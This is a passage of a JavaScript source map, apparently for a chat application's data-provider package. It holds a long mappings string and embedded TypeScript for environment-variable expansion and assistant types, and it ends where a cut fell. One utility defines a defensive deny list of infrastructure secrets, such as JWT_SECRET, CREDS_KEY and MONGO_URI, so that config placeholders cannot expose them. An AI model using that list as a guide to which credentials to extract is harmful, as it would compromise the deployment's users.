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"}
|
|
1
|
+
{"version":3,"file":"index.es.js","sources":["../src/utils.ts","../src/types/assistants.ts","../src/feedback.ts","../src/schemas.ts","../src/generate.ts","../src/models.ts","../src/file-config.ts","../src/api-endpoints.ts","../src/types/files.ts","../src/types/agents.ts","../src/mcp.ts","../src/config.ts","../src/types/runs.ts","../src/bedrock.ts","../src/parsers.ts","../src/artifacts.ts","../src/azure.ts","../src/messages.ts","../src/permissions.ts","../src/roles.ts","../src/types/web.ts","../src/accessPermissions.ts","../src/keys.ts","../src/headers-helpers.ts","../src/request.ts","../src/data-service.ts","../src/actions.ts","../src/createPayload.ts","../src/parameterSettings.ts"],"sourcesContent":["export const envVarRegex = /^\\${(.+)}$/;\n\n/**\n * Infrastructure env vars that must never be resolved via placeholder expansion.\n * These are internal secrets whose exposure would compromise the system —\n * they have no legitimate reason to appear in outbound headers, MCP env/args, or OAuth config.\n *\n * Intentionally excludes API keys (operators reference them in config) and\n * OAuth/session secrets (referenced in MCP OAuth config via processMCPEnv).\n */\nconst SENSITIVE_ENV_VARS = new Set([\n 'JWT_SECRET',\n 'JWT_REFRESH_SECRET',\n 'CREDS_KEY',\n 'CREDS_IV',\n 'MEILI_MASTER_KEY',\n 'MONGO_URI',\n 'REDIS_URI',\n 'REDIS_PASSWORD',\n]);\n\n/** Returns true when `varName` refers to an infrastructure secret that must not leak. */\nexport function isSensitiveEnvVar(varName: string): boolean {\n return SENSITIVE_ENV_VARS.has(varName);\n}\n\n/** Extracts the environment variable name from a template literal string */\nexport function extractVariableName(value: string): string | null {\n if (!value) {\n return null;\n }\n\n const match = value.trim().match(envVarRegex);\n return match ? match[1] : null;\n}\n\n/** Extracts the value of an environment variable from a string. */\nexport function extractEnvVariable(value: string) {\n if (!value) {\n return value;\n }\n\n const trimmed = value.trim();\n\n const singleMatch = trimmed.match(envVarRegex);\n if (singleMatch) {\n const varName = singleMatch[1];\n if (isSensitiveEnvVar(varName)) {\n return trimmed;\n }\n return process.env[varName] || trimmed;\n }\n\n const regex = /\\${([^}]+)}/g;\n let result = trimmed;\n\n const matches = [];\n let match;\n while ((match = regex.exec(trimmed)) !== null) {\n matches.push({\n fullMatch: match[0],\n varName: match[1],\n index: match.index,\n });\n }\n\n for (let i = matches.length - 1; i >= 0; i--) {\n const { fullMatch, varName, index } = matches[i];\n if (isSensitiveEnvVar(varName)) {\n continue;\n }\n const envValue = process.env[varName] || fullMatch;\n result = result.substring(0, index) + envValue + result.substring(index + fullMatch.length);\n }\n\n return result;\n}\n\n/**\n * Normalize the endpoint name to system-expected value.\n * @param name\n */\nexport function normalizeEndpointName(name = ''): string {\n return name.toLowerCase() === 'ollama' ? 'ollama' : name;\n}\n","import type { OpenAPIV3 } from 'openapi-types';\nimport type { AssistantsEndpoint, AgentProvider } from 'src/schemas';\nimport type { Agents, GraphEdge } from './agents';\nimport type { ContentTypes } from './runs';\nimport type { TFile } from './files';\nimport { ArtifactModes } from 'src/artifacts';\n\nexport type Schema = OpenAPIV3.SchemaObject & { description?: string };\nexport type Reference = OpenAPIV3.ReferenceObject & { description?: string };\n\nexport type Metadata = {\n avatar?: string;\n author?: string;\n} & {\n [key: string]: unknown;\n};\n\nexport enum Tools {\n execute_code = 'execute_code',\n code_interpreter = 'code_interpreter',\n file_search = 'file_search',\n web_search = 'web_search',\n retrieval = 'retrieval',\n function = 'function',\n memory = 'memory',\n ui_resources = 'ui_resources',\n}\n\nexport enum EToolResources {\n code_interpreter = 'code_interpreter',\n execute_code = 'execute_code',\n file_search = 'file_search',\n image_edit = 'image_edit',\n context = 'context',\n ocr = 'ocr',\n}\n\nexport type Tool = {\n [type: string]: Tools;\n};\n\nexport type FunctionTool = {\n type: Tools;\n function?: {\n description: string;\n name: string;\n parameters: Record<string, unknown>;\n strict?: boolean;\n additionalProperties?: boolean; // must be false if strict is true https://platform.openai.com/docs/guides/structured-outputs/some-type-specific-keywords-are-not-yet-supported\n };\n};\n\n/**\n * A set of resources that are used by the assistant's tools. The resources are\n * specific to the type of tool. For example, the `code_interpreter` tool requires\n * a list of file IDs, while the `file_search` tool requires a list of vector store\n * IDs.\n */\nexport interface ToolResources {\n code_interpreter?: CodeInterpreterResource;\n file_search?: FileSearchResource;\n}\nexport interface CodeInterpreterResource {\n /**\n * A list of [file](https://platform.openai.com/docs/api-reference/files) IDs made\n * available to the `code_interpreter`` tool. There can be a maximum of 20 files\n * associated with the tool.\n */\n file_ids?: Array<string>;\n}\n\nexport interface FileSearchResource {\n /**\n * The ID of the\n * [vector store](https://platform.openai.com/docs/api-reference/vector-stores/object)\n * attached to this assistant. There can be a maximum of 1 vector store attached to\n * the assistant.\n */\n vector_store_ids?: Array<string>;\n}\n\n/* Assistant types */\n\nexport type Assistant = {\n id: string;\n created_at: number;\n description: string | null;\n file_ids?: string[];\n instructions: string | null;\n conversation_starters?: string[];\n metadata: Metadata | null;\n model: string;\n name: string | null;\n object: string;\n tools?: FunctionTool[];\n tool_resources?: ToolResources;\n};\n\nexport type TAssistantsMap = Record<AssistantsEndpoint, Record<string, Assistant>>;\n\nexport type AssistantCreateParams = {\n model: string;\n description?: string | null;\n file_ids?: string[];\n instructions?: string | null;\n conversation_starters?: string[];\n metadata?: Metadata | null;\n name?: string | null;\n tools?: Array<FunctionTool | string>;\n endpoint: AssistantsEndpoint;\n version: number | string;\n append_current_datetime?: boolean;\n};\n\nexport type AssistantUpdateParams = {\n model?: string;\n description?: string | null;\n file_ids?: string[];\n instructions?: string | null;\n conversation_starters?: string[] | null;\n metadata?: Metadata | null;\n name?: string | null;\n tools?: Array<FunctionTool | string>;\n tool_resources?: ToolResources;\n endpoint: AssistantsEndpoint;\n append_current_datetime?: boolean;\n};\n\nexport type AssistantListParams = {\n limit?: number;\n before?: string | null;\n after?: string | null;\n order?: 'asc' | 'desc';\n endpoint: AssistantsEndpoint;\n};\n\nexport type AssistantListResponse = {\n object: string;\n data: Assistant[];\n first_id: string;\n last_id: string;\n has_more: boolean;\n};\n\nexport type File = {\n file_id: string;\n id?: string;\n temp_file_id?: string;\n bytes: number;\n created_at: number;\n filename: string;\n object: string;\n purpose: 'fine-tune' | 'fine-tune-results' | 'assistants' | 'assistants_output';\n};\n\n/* Agent types */\n\nexport type AgentParameterValue = number | string | null;\n\nexport type AgentModelParameters = {\n model?: string;\n temperature: AgentParameterValue;\n maxContextTokens: AgentParameterValue;\n max_context_tokens: AgentParameterValue;\n max_output_tokens: AgentParameterValue;\n top_p: AgentParameterValue;\n frequency_penalty: AgentParameterValue;\n presence_penalty: AgentParameterValue;\n useResponsesApi?: boolean;\n};\n\nexport interface AgentBaseResource {\n /**\n * A list of file IDs made available to the tool.\n */\n file_ids?: Array<string>;\n /**\n * A list of files already fetched.\n */\n files?: Array<TFile>;\n}\n\nexport interface AgentToolResources {\n [EToolResources.image_edit]?: AgentBaseResource;\n [EToolResources.execute_code]?: ExecuteCodeResource;\n [EToolResources.file_search]?: AgentFileResource;\n [EToolResources.context]?: AgentBaseResource;\n /** @deprecated Use context instead */\n [EToolResources.ocr]?: AgentBaseResource;\n}\n/**\n * A resource for the execute_code tool.\n * Contains file IDs made available to the tool (max 20 files) and already fetched files.\n */\nexport type ExecuteCodeResource = AgentBaseResource;\n\nexport interface AgentFileResource extends AgentBaseResource {\n /**\n * The ID of the vector store attached to this agent. There\n * can be a maximum of 1 vector store attached to the agent.\n 